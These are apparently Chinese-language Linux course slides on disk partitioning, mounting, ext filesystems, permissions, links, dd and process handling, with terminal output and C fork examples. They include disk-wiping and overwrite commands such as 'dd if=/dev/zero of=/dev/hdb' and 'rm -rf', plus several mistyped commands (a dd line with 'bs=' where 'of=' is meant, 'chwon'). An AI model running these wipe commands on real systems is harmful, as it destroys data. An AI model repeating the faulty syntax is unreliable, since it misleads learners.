jykuo@ubuntu:~$ sudo fdisk -l /dev/sdb
Disk /dev/sdb: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0d137848

Device     Boot Start      End  Sectors Size Id Type
/dev/sdb1        2048 41943039 41940992  20G 83 Linux
```

- ls -al /dev/sd*

```
jykuo@ubuntu:~$ ls -al /dev/sd*
brw-rw---- 1 root disk 8,  0 Feb 14 15:37 /dev/sda
brw-rw---- 1 root disk 8,  1 Feb 14 15:37 /dev/sda1
brw-rw---- 1 root disk 8,  2 Feb 14 15:37 /dev/sda2
brw-rw---- 1 root disk 8,  5 Feb 14 15:37 /dev/sda5
brw-rw---- 1 root disk 8, 16 Feb 14 16:10 /dev/sdb
brw-rw---- 1 root disk 8, 17 Feb 14 16:10 /dev/sdb1
```

格式化磁碟

- sudo mkfs -t ext4 /dev/sdb1
  - Linux 目前用 Ext4 檔案格式，舊 Linux 可能用 Ext3
  - -t 指定檔案系統，若是 Ext3 為 -t ext3

```
jykuo@ubuntu:~$ sudo mkfs -t ext4 /dev/sdb1
mke2fs 1.42.13 (17-May-2015)
Creating filesystem with 5242624 4k blocks and 1310720 inodes
Filesystem UUID: 41d9a4f3-6df9-47fc-a107-6425ed9e1e7e
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
        4096000

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
```

- 重新啟動電腦

掛載硬碟

- 磁碟掛載設定在 /etc/fstab 中
  - 可使用 /dev/sda1, /dev/sdb1, 指定磁碟。
    - 若磁碟更換安裝順序，原 /dev/sda1 可能變成 /dev/sdb1。
  - 新方法使用 UUID 指定磁碟
    - 每顆硬碟都有唯一 UUID，使用 UUID 指定不會因安裝順序變化
    - 當磁碟常需更換，系統管理者不用更改 fstab 設定掛載。
- 查詢/etc/fstab

```
jykuo@ubuntu:/home$ more /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
# / was on /dev/sda1 during installation
UUID=25bb23d8-3649-42a7-bc0a-408347635bfb /               ext4    errors=remount
-ro 0       1
# swap was on /dev/sda5 during installation
UUID=f3b4894a-313c-429c-a328-76f831335a4d none            swap    sw
  0       0
/dev/fd0        /media/floppy0  auto    rw,user,noauto,exec,utf8 0       0
```

掛載硬碟

- blkid ，以列出所有磁碟的 UUID

```
jykuo@ubuntu:/home$ sudo blkid
/dev/sda1: UUID="25bb23d8-3649-42a7-bc0a-408347635bfb" TYPE="ext4" PARTUUID="0d1
6ee54-01"
/dev/sda5: UUID="f3b4894a-313c-429c-a328-76f831335a4d" TYPE="swap" PARTUUID="0d1
6ee54-05"
/dev/sdb1: UUID="41d9a4f3-6df9-47fc-a107-6425ed9e1e7e" TYPE="ext4" PARTUUID="afc
b4c29-01"
```

- 編輯 sudo gedit /etc/fstab，加入
  - UUID=41d9a4f3-6df9-47fc-a107-6425ed9e1e7e /data2 ext4 defaults 0
- 重新啟動，系統會自動掛載

掛載硬碟

- 使用 mount /data2 指令，掛載
  - df 查看 (df –h)

```
jykuo@ubuntu:~$ sudo mount /data2
jykuo@ubuntu:~$ df
Filesystem     1K-blocks    Used Available Use% Mounted on
udev             1981688       0   1981688   0% /dev
tmpfs             401644    6336    395308   2% /run
/dev/sda1       37024320 4708556  30411996  14% /
tmpfs            2008200     212   2007988   1% /dev/shm
tmpfs               5120       4      5116   1% /run/lock
tmpfs            2008200       0   2008200   0% /sys/fs/cgroup
tmpfs             401644      52    401592   1% /run/user/1000
/dev/sdb1       20510332   44992  19400432   1% /data2
```

Linux File System
檔案系統

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

檔案系統

- Linux發行版檔案系統
  - 預設採用ext4，ext4是ext3的下一代，
  - ext3則是ext2的下一代，ext3是日誌式檔案系統(JournalFileSystem)，在ext2的格式下加上日誌功能。
  - 日誌式檔案系統提供更好的安全性。將整個磁碟做過的更動，像日記一樣完整記錄。一旦發生非預期當機，會在下次啟動時，依日誌記錄動作再做一次，將系統恢復到當機前正常狀態。
  - ext2檔案系統需執行fsck指令檢查與修復整個檔案系統。耗費時間且不能保證所有資料都不會流失。
  - ext4支援大硬碟，單一檔案最大容量16TB，一個目錄可建立子目錄數量沒有限制。加快檔案讀寫速度，減少檔案不連續存放問題，避免系統使用越久，檔案越不連續，讀寫越慢。

檔案系統

- Linux發行版檔案系統
  - 要將/dev/sda3的檔案系統由ext3轉換為ext4，操作

```
[root@free ~]# umount /dev/sda3          ←── 先卸載 /dev/sda3
[root@free ~]# tune2fs -O extents, uninit_bg, dir_index /dev/sda3
tune2fs 1.42 (29-Nov-2011)                 將檔案系統轉換為 ext4
Please run e2fsck on the filesystem.

[root@free ~]# e2fsck -y -fD /dev/sda3  ←── 檢查並修正檔案系統
e2fsck 1.42 (29-Nov-2011)
Group descriptor 0 checksum is invalid.  Fix? yes
...
```

  - 建立日誌之後，請修改/etc/fstab檔：重新啟動後，該分割區就開始使用ext4檔案系統

```
UUID=...     /boot      ext3     defaults          1  2
UUID=...     /          ext4     defaults          1  1
tmpfs        /dev/shm   tmpfs    defaults          0  0
devpts       /dev/pts   devpts   gid=5, mode=620   0  0
sysfs        /sys       sysfs    defaults          0  0
proc         /proc      proc     defaults          0  0
UID=...      swap       swap     defaults          0  0
/dev/sda3    /home1     ext4     defaults          0  0
             掛載點     檔案系統:將檔案系統改為 ext4
```

檔案系統

- Linux發行版檔案系統
  - ext4、ext3與ext2使用的檔案結構稱為inode(indexnode)。記錄檔案類型、大小、權限、擁有者、檔案連結的數目等屬性，及指向資料區塊(block)的指標(pointer)

檔案系統

- inode
  - 指標指到磁碟實際存放檔案資料的區塊。小的檔案僅需direct blocks空間，大檔案使用indirect blocks、double indirect blocks或triple indirect blocks。
  - inode記錄檔案屬性，不實際儲存檔案資料。存放地是資料區塊。每個檔案都會用一個inode，最少佔用一個資料區塊。
- inode內容：
  - 檔案模式(mode)：描述對應的資料類型，可以是檔案、目錄、符號連結(symbolic link)或周邊設備代號(包括儲存設備的分割區編號)等，及權限設定資訊。
  - 擁有者資訊：檔案或目錄擁有者的UID與GID。
  - 檔案大小(size)：單位以byte計算。
  - 時間戳記(time stamp)：資料最初建立時間與最後修改時間。

檔案系統

- inode內容：
  - 資料區塊位址(address of data block)：存放檔案需使用資料區塊。若inode對應實體檔案(非如/proc目錄內虛擬檔案)，則會紀錄資料區塊位址，讓系統找到並使用。一個inode指向12個資料區塊，若檔案太大會用間接指向指標(indirect pointer)，透過另一個資料區塊指向更多資料區塊。

基本目錄檔案指令

- clear
  - 清除螢幕
- cd
  - 變換工作路徑。
- cd..
  - 上一層目錄
- cd../xx
  - 到相對路徑
- pwd
  - 顯示目前所在目錄

基本目錄檔案指令

- ls
  - 顯示檔案名稱與內容的指令彩色顯示檔案資料
  - #ls -l詳細列出檔案系統結構
  - #ls -a顯示隱藏檔（以"."開頭的檔案）
  - #ls -al同時顯示隱藏檔與詳細資料
  - #ls -al | more將檔案內容以一頁一頁顯示
- cat
  - 將檔案內容列出
  - 例如在/root下有一個檔名為.bashrc，是隱藏檔，按下cd回到/root目錄後，執行：
  - #cat.bashrc

基本目錄檔案指令

- more
  - 用more來一頁頁讀取檔案內容
  - more可與其他程式合併使用，例如ls -al | more
  - #more .bashrc
  - #ls –al | more
- mkdir
  - 建立新的目錄
  - #mkdir test
  - #ls -l
  - 再執行ls -l後，就可看到test目錄

基本目錄檔案指令

- rm -irf
  - 移除
  - -i指檔案被刪除前會確認。
  - -rf目錄下的東檔案一起刪除
  - #rm test
  - #rm –rf test
- rmdir
  - 移除目錄的指令。
  - 若欲移除的目錄有檔案或其他目錄，就無法移除，要用rm -rf

基本目錄檔案指令

- mv
  - 移動檔案或目錄，例如要將.bashrc檔案移動至根目錄下，
    - #mv .bashrc/
  - 將檔案移動至目前的工作目錄，加上"."
    - #mv /.bashrc .
  - 語法：mv來源檔（或目錄）目的檔（或目錄）
- cp
  - copy。例如要將.bashrc檔案複製到/home底下
  - #cp .bashrc /home
  - 語法：cp來源檔目的檔

基本目錄檔案指令

- find
  - 找檔案
  - #find / -name bin
  - 在/目錄（根目錄）下尋找檔名（-name）為bin的檔案
  - 語法：find路徑-name檔名

基本目錄檔案指令

- whereis
  - whereis利用曾找過的系統資訊內的資料找檔案，速度快
  - whereis找不到，不代表該檔案真的不存在
  - #whereis bin
  - bin:/usr/bin

檔案權限

- ls -al

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ ls -al
total 116
drwxr-xr-x 17 jykuo jykuo 4096 Feb 12 21:14 .
drwxr-xr-x  5 root  root  4096 Feb 12 21:22 ..
-rw-------  1 jykuo jykuo  630 Feb 12 21:14 .bash_history
-rw-r--r--  1 jykuo jykuo  220 Feb 11 18:29 .bash_logout
```

  - 10個字元中的第1個字元用於標示檔案屬性：
    - d：目錄。目錄視為特殊檔案。
    - -：普通檔案。
    - l：符號連結的檔案，實際指向另一個檔案。
    - b、c：分別代表區塊設備和其他周邊設備，是特殊型態檔案。
    - s、p：這些檔案關係到系統資料結構和管線，通常很少見到。

檔案權限

- 一般權限
  - 第2～10字元，每3個一組，分別標示擁有者、群組、任何人
    - r(Read，讀取)：對檔案而言，使用者具讀取內容權限；對目錄而言，使用者擁有瀏覽目錄內容權限(不一定可讀取該目錄下的檔案，是否可讀取，取決於要讀取"檔案"的"r"讀取權)。
    - w(Write，寫入)：對檔案而言，使用者具有修改檔案權限；對目錄而言，使用者具有刪除、或移動目錄內檔案權限。
    - x(eXecute，執行)：對檔案而言，使用者具執行檔案權限；對目錄而言，使用者具進入目錄權限。
    - -：表示不具該權限。
  - Linux系統執行檔，副檔名毋需為.exe，只要可執行權限。

檔案權限

- 一般權限
  - -rwx------：檔案擁有者對檔案具有讀取、寫入與執行的權限。
  - -rwxr--r--：檔案擁有者具有讀、寫與執行的權限，同群組及其他使用者具有讀取的權限。
  - -rw-rw-r--：檔案擁有者與同群組的使用者對檔案具有讀寫的權限，其他使用者僅具有讀取權限。
  - drwx--x--x：目錄擁有者具有讀、寫與進入目錄的權限，同群組及其他使用者僅能進入該目錄，卻無法讀取檔案列表。
  - drwx------：除了目錄擁有者具有完整的權限之外，同群組與其他使用者對該目錄沒有任何權限。
  - 使用者都擁有家目錄，預設權限為"drwx------"，表示目錄擁有者本身具備全部權限，而同群組與其他使用者沒有任何權限

檔案權限

- 特殊權限SUID(SetUID)
  - 使用者無特殊需求，不應開啟特殊權限檔案，避免安全漏洞。
  - SUID
    - 可執行檔案具此權限，能得到特權，可任意存取該檔案擁有者能使用的全部系統資源。
    - 擁有此權限的檔案，可任意存取整個群組所能使用的系統資源。
  - T(Sticky)：開啟暫存目錄/tmp的Sticky權限，存放該目錄的檔案，僅准許其擁有者刪除與搬移，避免其他使用者誤用。
    - 須將檔案放在具Sticky權限目錄，才能讓此權限產生效用。
  - 特殊權限SUID、SGID、Sticky佔用x位置，假設同時開啟執行權限和SUID、SGID與Sticky，則其權限標示型態：

```
-rwSr-Sr-T   1 root    root   Dec 2 21:47 showme
```

變更檔案權限

- chmod
  - 變更檔案屬性，檔案屬性，r為4、w為2，x為1。
  - 檔案或目錄的權限，是用"rwx"3個字元重複3次形成9個字元，分別代表擁有者、同群組使用者和其他使用者的權限。
  - 建立檔案所有人都可讀，-rw-r--r--，三個群組分別r+w=6，r=4，r=4
  - #chmod 644 .bashrc
  - #ls -al .bashrc
  - -rw-r--r-- 1 root root 216 Apr 8 13:54 .bashrc

-rwx------：等於數字標示700。
-rwxr--r--：等於數字標示744。
-rw-rw-r-x：等於數字標示665。
drwx--x--x：等於數字標示711。
drwx------：等於數字標示700

變更檔案權限

- chmod

符號表示法：

數字表示法：

變更檔案所屬群組

- 群組管理
  - 共享目錄或檔案。
  - 把某目錄設Group ID Bit，任何使用者將檔案移到此目錄內，該檔案的群組會自動變成和目錄群組相同。
  - 許多帳號設同一群組或加入某附加群組，要分享的目錄或檔案群組的擁有者設共同群組名稱，可共享目錄或檔案。
- chgrp
  - 改變檔案或目錄的『擁有群組』。

變更檔案所屬群組

- 群組管理

chgrp/ (change group) 變更群組擁有者/ Any	-c	只顯示異動部分
	-f	不顯示錯誤
	-h	只對符號連結檔變更但不影響目的檔
	-R	遞回(recursive)將目錄下所有檔案及子目錄變更
	-v	顯示處理過程
	--help	指令自帶說明

- chgrp rd_grp file←將檔案的群組改為"rd_grp"
- chgrp –R sub_grp ~/homework←將家目錄內目錄"homework"下所有的檔案及子目錄一併變更群組擁有者為"sub_grp"

變更擁有者

- chown(chage owner)
  - 若要把檔案給其他使用者修改，就需修改檔案、目錄擁有者、所屬群組。
  - 變更擁有者:chown擁有者檔案或目錄
  - 變更擁有者和所屬群組:chown擁有者.群組成員檔案或目錄。
  - 只變更所屬群組:chown .群組成員檔案或目錄。
    - chown aaa my_file←將檔案"my_file"擁有者改為"aaa"
    - chwon aaa . bbb my_file←將檔案"my_file"擁有者改為"aaa"，群組擁有者改為"bbb"
    - chwon . bbb my_file←將檔案"my_file"群組擁有者改為"bbb"
    - 將整個目錄下的檔案都改變擁有者與擁有群組
    - chown -R username: group name directory(ex. chown –R root:root/root)
    - 例如root，copy一個檔案給vbird，需將檔案擁有人改成vbird

變更擁有者

- chown(chage owner)

chown/ (change owner) 變更擁有者/ Any	-c	只顯示異動部分
	-f	不顯示錯誤
	-h	只對符號連結檔變更，但不影響目的檔
	-R	遞回(recursive)將目錄下所有的檔案及子目錄一併變更
	-v	顯示處理過程
	--help	指令自帶說明

查看硬碟空間

- df查看硬碟空間
  - 若規劃多的硬碟，則可查看硬碟空間資訊：
  - #df
  - File system 1k-blocksUsedAvailableUse%Mountedon
  - /dev/hda5964312876488276801 0%/
  - /dev/hdb5215042074550012956803 7%/home
  - /dev/hdb1201601614197084938967 4%/usr
  - Filesystem是硬碟劃分表，Used指使用掉的硬碟空間（KB），Available是剩下空間，Mount edon是硬碟代表哪一個目錄。
  - 根目錄(/)在hda5這顆硬碟，總空間有964312KB，剩下可用空間為827680KB，至於/win98則在hda1中，且全部空間有1022080KB。要將資料型態以MB數顯示，可輸入df -m。

查看硬碟空間

- du
  - 查看目錄內所有檔案使用掉的空間的情況：
  - #du -m
  - du預設的檔案輸出資料為KB，以參數-m使檔案顯示為MB。

轉換複製

- dd
  - 指定讀取來源，將讀取內容寫入指定目的。
  - 可指定每次存取多少量，才進行寫入動作。
  - 可指定讀取時先移動到某個位置才讀取，寫入時可指定偏移位置。
  - 參數說明
    - if為 input file，表示指定讀取來源，預設為 stdin
    - of為 output file，表示指定寫入目的，預設為 stdout
    - bs為 block size，表示讀入與寫入的大小
    - count表示處理的次數

轉換複製

- dd
  - Linux 週邊裝置視為檔案，在 /dev 目錄內許多週邊裝置檔案清單，例如 IDE 硬碟為 /dev/hda、/dev/hdb，而 SATA 與 SCSI 使用 /dev/sda、/dev/sdb 。
  - 硬碟複製，dd if=/dev/hda of=/dev/hdb bs=4096k
    - 讀取來源 hda，IDE0 上 Primary Master 的 HD，複製寫入到 IDE0 上 Primary Slave 的 HD，指定每次讀入與寫入的處理量為 4M 。
    - 指令運作結束， hdb 的硬碟會與 hda 硬碟內容完全相同。
    - 兩顆硬碟容量規格相同較適合使用。hdb 硬碟較大也可進行，後續沒分配到的空間需手動建立分割區才可使用。
  - dd 運作為磁區對磁區，若硬碟有 320G 空間，若只放100MB 資料，dd 仍要運作到320G。

轉換複製

- 清空裝置的資料，dd if=/dev/zero of=/dev/hdb bs=4096k
  - 指定讀取來源為 /dev/zero，是特殊的字元裝置，讀取內容會得到 0x00的空資料。
  - hdb 硬碟內容填入空資料，硬碟清空。
- 製作空的大檔案
  - dd if=/dev/zero of=/file bs=1M count=100
  - dd if=/dev/zero of=fd.img bs=1024 count=102400
  - 假設BS=1024，則每sector大小是1024位元組，可省略不設，預設大小512位元組。count表示需建檔的大小，以sector為單位，若沒設bs，預設每sector大小是512位元組，若 fd.img 大小是1M，則count=2000。

轉換複製

- 備份 MBR 資料，dd if=/dev/hda of=mbr.dat bs=512 count=1
  - 電腦 HD開機資料位於硬碟最前面位置的 MBR(Master Boot Record)。MBR 若故障毀損系統無法正常開機。
  - MBR位於第 0 軌，第 0 面第一磁區，佔用 512 bytes。包含 boot loader 開機程式與 Partition table 分割表。
  - 電腦開機 BIOS 讀入硬碟，啟動 boot loader，依據 partition table 決定進入那一個作業系統。
  - 讀取來源為 hda，備份儲存的檔案為 mbr.dat，指定處理量 512 bytes，讀寫一次即可。後續 MBR毀損，使用命令回寫。
  - dd if=/dev/mbr.dat of=/dev/hda bs=512 count=1

轉換複製

- 備份 USB隨身碟dd if=/dev/sda of=usb-backup.img bs=4096k
  - 若 USB 隨身碟裝置為 sda，備份隨身碟資料，提供後續複製：
  - 得到 usb-backup.img 檔案。後續若要複製產生另外相同內容的 USB 磁碟，使用：dd if=usb-backup.img of=/dev/sda bs=4096k
- 存取Image 檔案而不需還原
  - Linux 內建存取 Image 功能，可線上掛載 Image 檔案到目錄，後續可到該目錄讀寫檔案內容。
  - 例如將系統 hda1 分割區資料備份成為 hda1.img 檔案：
  - dd if=/dev/hda bs=hda1.img bs=4096k
  - 要存取 hda1.img 檔案內容，使用mount 指令。
  - mount -o loop hda1.img /mnt
  - hda1 分割區資料可在 /mnt 目錄內存取
  - mount 搭配 -t 表示檔案系統類型：mount -t vfat -o loop hda1.img /mnt

轉換複製

- 讀取 ISO 檔案：mount -t iso9660 -o loop filename.iso.img /mnt
  - DVD 的 ISO ，使用 -t udf。
  - mount -t udf -o loop filename.iso.img /mnt
- swap 規劃配置
  - 先建立 swapfile.dat 共 120M：
  - dd if=/dev/zero of=swapfile.dat bs=1024k count=120
  - 格式化 swapfile.dat 成為 linux swap 結構：mkswap swapfile.dat
  - 啟用 swapfile 的使用：swapon swapfile.dat
  - 暫時增加系統虛擬記憶體的可用空間。

基本指令-檔案與目錄管理

- quotacheck，edquota
  - 限制使用者在Linux主機上的硬碟使用容量。
  - sudoapt-getinstallquota

建立連結

- 硬連結(hardlink)
  - 檔案分享的一種方法，不需複製一份檔案浪費磁碟空間。
- ln
  - ln-s真實目錄或檔案連結的目錄或檔案：
  - 連結檔案或目錄
  - 例如將/usr/bin這個目錄連接到/root底下
  - #ln-s/usr/binbin
  - /root下的bin目錄中的所有檔案都是/usr/bin裡的檔案，若進入/root/bin刪除檔案，等於將/usr/bin內的檔案刪除
  - 執行ls-l指令，看複製與連結的檔案有甚麼不同

建立連結

- 硬連結(hardlink)
  - 若使用者無存取來源檔案權限，系統仍允許產生檔案連結，但該連結的檔案屬性仍與來源檔案屬性相同。無法讀取的檔案即使以連結方式到家目錄，仍沒有權限存取該檔案。
  - 檔案連結數是2，表示此檔案除本身外，還有另一個分身。假使再對該檔案建立連結，連結數會增加。每刪除一個，連結數遞減，直降為1，該檔案在檔案系統不存在任何分身。
  - 連結的檔案實際指向磁碟中相同資料，因每個檔案僅佔一個inode，所以inode編號應一樣。
  - 執行ls-i指令查看檔案inode編號，若是複製各自擁有inode編號。

```
[lambert@free ~]$ ls -i LambertLink
10423 LambertLink
[lambert@free ~]$ ls -i /var/tmp/ForEveryOne
10423 /var/tmp/ForEveryOne
```

建立連結

- 符號連結(軟式連結)ln-s
  - 執行ls-l指令觀看

```
[lambert@free ~]$ ln -s LambertFile SymLink
                    對 LambertFile 建立符號連結, 檔名為 SymLink
-rw-r--r--   1  lambert  lambert    1502892  Jun 3   9:14   LambertFile
-rw-r--r--   2  cassia   cassia     1502892  Jun 3  19:35   LambertLink
lrwxrwxrwx1  lambert  lambert       11       Jun 3  20:20   SymLink ->
                                                            LambertFile
                                                 這裡指向建立符號連結的原始檔案
```

  - 檔案LambertFile和SymLink的連結數都沒改變，而SymLink檔案權限第1個字元"l"，表示符號連結，權限為"rwxrwxrwx"全部開放，代表真正權限以所指檔案為準，符號連結不做限制。

建立連結

- 符號連結(軟式連結)ln-s
  - 符號連結並不保存檔案資料，真正內容是一個字串指向原來的檔案，類似"捷徑"，因此若把其指向的檔案刪除或更改檔名，則SymLink就會指向一個不存在的檔案，內容會變成空白。符號連結本身會佔用一個inode：

```
[lambert@free ~]$ ls -i SymLink
366959 SymLink
```

  - 由於連結方式不同，硬連結與符號連結差異：
    - 當原檔刪除後，符號連結會失效，硬連結仍可繼續使用。
    - 硬連結只能連結同一個分割區內檔案，符號連結因只是一個指向檔案字串，所以可跨越不同分割區。
    - 硬連結不能連結目錄，因目錄的inode中，計算連結數的欄位已有其他用途。符號連結可指向目錄，如同真的目錄一樣使用。

指令

查詢狀態列	
ls	查看目錄內容
pwd	查看目前所在目錄位置
目錄類	
cd	切換目錄
mkdir	建立目錄
rmdir	刪除空目錄 （如果目錄裡有資料，要用 rm -R ）
檔案類	
touch	建立空檔案 （touch 實際的用法是改變檔案建立時間）
rm	刪除檔案 （刪除目錄可打 rm -R）
cp	複製檔案 （複製目錄可打 cp -R）
mv	搬移檔案或更名
ln	連結檔案 （類似建立捷徑的意思）
觀看檔案類	
cat	觀看檔案內容
less	觀看檔案內容 （以頁顯示，可以上下捲動）
more	觀看檔案內容 （以頁顯示，不能上下捲動）
head	觀看檔案的開頭起始行 （預設為開頭 10 行）
tail	觀看檔案的結尾倒數行 （預設為倒數 10 行）
查詢手冊類	
man	查看指令的用法 （manpage）
info	查看指令的用法 （同 manpage，但具有超連結）

指令

尋找系統檔案	
find	搜尋系統中的檔案
locate	搜尋系統中的檔案（透過已整理的資料庫）
查詢指令相關檔案	
whereis	搜尋指令名稱的相關檔案
which	搜尋指令名稱所存在的位置 (根據 PATH)
type	查詢指令名稱所存在的位置以及種類

「find、locate」搜尋檔案示意圖：

指令

更改檔案權限	
chmod	更改檔案的存取權限
chown	更改檔案的擁有者或擁有群組
chgrp	更改檔案的擁有群組

「chmod」基礎用法：

```
$ chmod [選項] [新的權限]          [檔案]
$ chmod        u=rwx,g=rx,o=rx    File.txt
$ chmod -Rf    755                Directory
```

「遞迴式、強制」的將目錄底下所有的檔案更改為新的權限。

權限設定有兩種方式，分別為「符號表示法」與「數字表示法」，筆者在下面為各位做說明與示範。

Linux 程序

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

Process

- 程序(Process)
  - 在系統的工作單元。
  - 一個程式(Program)被載入記憶體執行。
    - Program是passive，Process是active
  - 在記憶體有text (code), data, stack (function call), heap (variable)。
  - 作業系統有PCB，紀錄Process執行資訊
    - 程式計數器PC (program counter)，紀錄下一個要執行的指令

Process control block (PCB)

Process在記憶體的內容

Process

- 程序(Process) – fork()

```
#include <sys/types.h>          // f1.c
#include <sys/wait.h>
#include <stdio.h>
#include <unistd.h>
int main() {
    pid_t pid;
    pid = fork();       //fork a child process
    if (pid < 0) {      // error occurred
        fprintf(stderr, "Fork Failed");
        return 1;
    }
    else if (pid == 0) { // child process
        execlp("/bin/ls","ls",NULL);
    }
    else {              // parent process
        wait(NULL);     // parent wait child complete
        printf("Child Complete\n");
    }
    return 0;
}
```

Process

- 程序(Process) – fork()
  - gcc f1.c -o f1
  - ./f1

```
jykuo@ubuntu: ~/Test
jykuo@ubuntu:~/Test$ gedit f1.c
jykuo@ubuntu:~/Test$ gcc f1.c -o f1
jykuo@ubuntu:~/Test$ ./f1
f1  f1.c  p1  p1.c  th  th.c
Child Complete
```

Exercise

- 程序(Process) – 執行以下程式，查看 ps -aux

```
#include <stdio.h>        // f2.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main() {
    pid_t pid;
    int status, i;
    if(fork() == 0)    {
        printf("child process pid =%d\n", getpid());
        exit(5);
     }
    else  {
        sleep(1);
        printf("Parent process, wait for child...\n");
        pid = wait(&status);
        i = WEXITSTATUS(status);
        printf("child's pid =%d . exit status=%d\n", pid, i);
    }
    return 0;
}
```

Process

- 程序(Process) – fork()
  - gcc f2.c -o f2
  - ./f2

```
jykuo@ubuntu: ~/Test
jykuo@ubuntu:~/Test$ gedit f2.c
jykuo@ubuntu:~/Test$ gcc f2.c -o f2
jykuo@ubuntu:~/Test$ ./f2
child process pid =3377
Parent process, wait for child...
child's pid =3377 . exit status=5
```

程序操作指令

- & 與 [Ctrl]+[z]背景執行
  - 需長時執行程式，加&或按 Ctrl+z 將程式置於背景執行。
  - 提供終端機命令模式同時做許多事情。
  - 例如執行sudo find "/" -name grep& ，表示尋找 grep 檔案的指令放置背景執行。

```
kjy@ubuntu:~$ sudo find / -name grep&
[2] 2166
kjy@ubuntu:~$ /bin/grep
/snap/core18/1668/bin/grep
/snap/core18/1668/usr/share/doc/grep
/snap/core/8268/bin/grep
/snap/core/8268/usr/share/doc/grep
find: '/run/user/1000/gvfs': Permission denied
/usr/share/doc/grep

[2]+  Exit 1                  sudo find / -name grep
kjy@ubuntu:~$
```

程序操作指令

- sleep 500&，執行睡眠500秒
  - [1] 代表指定給該工作的序號
  - 2187 代表 PID (process ID)

```
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~$ sleep 300&
[1] 2187
kjy@ubuntu:~$ sleep 500&
[2] 2188
kjy@ubuntu:~$
```

- 查詢當前的背景工作可使用 jobs

```
kjy@ubuntu:~$ jobs
[1]-  Running                 sleep 300 &
[2]+  Running                 sleep 500 &
kjy@ubuntu:~$ jobs -l
[1]-  2187 Running                 sleep 300 &
[2]+  2188 Running                 sleep 500 &
```

- fg
  - 將程式叫回前景，沒有背景程式執行，系統顯示無執行中程式。
  - 若背景堆積好幾個命令，可用工作序號挑選

```
kjy@ubuntu:~$ fg %1
sleep 300
^Z
[1]+  Stopped                 sleep 300
```

程序操作指令

- top：對程序執行時間監控；

```
jykuo@ubuntu:~$ top

top - 21:56:33 up  3:49,  1 user,  load average: 0.00, 0.00, 0.00
Tasks: 217 total,   1 running, 216 sleeping,   0 stopped,   0 zombie
%Cpu(s):  1.4 us,  0.3 sy,  0.0 ni, 98.3 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2018048 total,   127808 free,   777388 used,  1112852 buff/cache
KiB Swap:  2094076 total,  2090480 free,     3596 used.   998820 avail Mem

   PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
  3389 root      20   0  201536   4412   3104 S  2.3  0.2   1:31.49 vmtoolsd
   925 root      20   0  377252  37096   8320 S  0.3  1.8   0:31.21 Xorg
  4765 jykuo     20   0  541148  20068  14296 S  0.3  1.0   0:36.28 vmtoolsd
 90323 jykuo     20   0   41800   3704   3052 R  0.3  0.2   0:00.74 top
```

程序操作指令

- ps -aux
  - 查執行中的程式，可配合參數 -aux 執行
  - 列出連同系統服務的程式，輸出第一列會出現 PID，是每個程式執行的代碼。

```
kjy@ubuntu:~$ ps -aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.1  0.2 159828  9152 ?        Ss   18:46   0:02 /sbin/init au
root          2  0.0  0.0      0     0 ?        S    18:46   0:00 [kthreadd]
root          3  0.0  0.0      0     0 ?        I<   18:46   0:00 [rcu_gp]
root          4  0.0  0.0      0     0 ?        I<   18:46   0:00 [rcu_par_gp]
root          6  0.0  0.0      0     0 ?        I<   18:46   0:00 [kworker/0:0H
root          9  0.0  0.0      0     0 ?        I<   18:46   0:00 [mm_percpu_wq
root         10  0.0  0.0      0     0 ?        S    18:46   0:00 [ksoftirqd/0]
root         11  0.0  0.0      0     0 ?        I    18:46   0:00 [rcu_sched]
root         12  0.0  0.0      0     0 ?        S    18:46   0:00 [migration/0]
root         13  0.0  0.0      0     0 ?        S    18:46   0:00 [idle_inject/
```

程序操作指令

- ps：顯示瞬間程序的狀態，並不動態連續；

ps 參數

l 長格式輸出；
u 按使用者名和啟動時間順序顯示程序；
j 用任務格式來顯示程序；
f 用樹形格式來顯示程序；
a 顯示所有使用者的所有程序；
x 顯示無控制終端的程序；
r 顯示執行中的程序；
-A 列出所有的程序
-au 顯示較詳細的資訊
-aux 顯示所有包含其他使用者的程序
-e 顯示所有程序,環境變數
-f 全格式
-h 不顯示標題
-l 長格式

欄位

USER: 程序所有者
PID: 程序ID
%CPU: 占用的 CPU 使用率
%MEM: 占用的記憶體使用率
VSZ: 占用的虛擬記憶體大小
RSS: 占用的記憶體大小
TTY: 終端的次要裝置號碼
STAT: 程序狀態:
START: 啟動程序的時間；
TIME: 程序消耗CPU的時間；
COMMAND:命令的名稱和參數；

程序操作指令

- ps：顯示瞬間程序的狀態，並不動態連續；

STAT狀態

D 無法中斷的休眠狀態（通常為 IO 的程序）；
R 正在執行，在可中斷隊列中；
S 處於休眠狀態，靜止狀態；
T 停止或被追蹤，暫停執行；
X 死掉的程序；
Z 僵屍程序不存在但暫時無法刪除；
W: 沒有足夠的記憶體分頁可分配
WCHAN 正在等待的程序資源；
<: 高優先級程序
N: 低優先序程序
L: 有記憶體分頁分配並鎖在記憶體內 (即時系統或短 I/O)
s 程序的領導者（在它之下有子程序）；
l 多程序的（使用 CLONE_THREAD, 類似 NPTL pthreads）；
+ 位於後臺的程序組；

程序操作指令

- ps：顯示瞬間程序的狀態，並不動態連續；

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ ps -Al
F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
4 S     0     1     0  0  80   0 - 46306 -      ?        00:00:06 systemd
1 S     0     2     0  0  80   0 -     0 -      ?        00:00:00 kthreadd
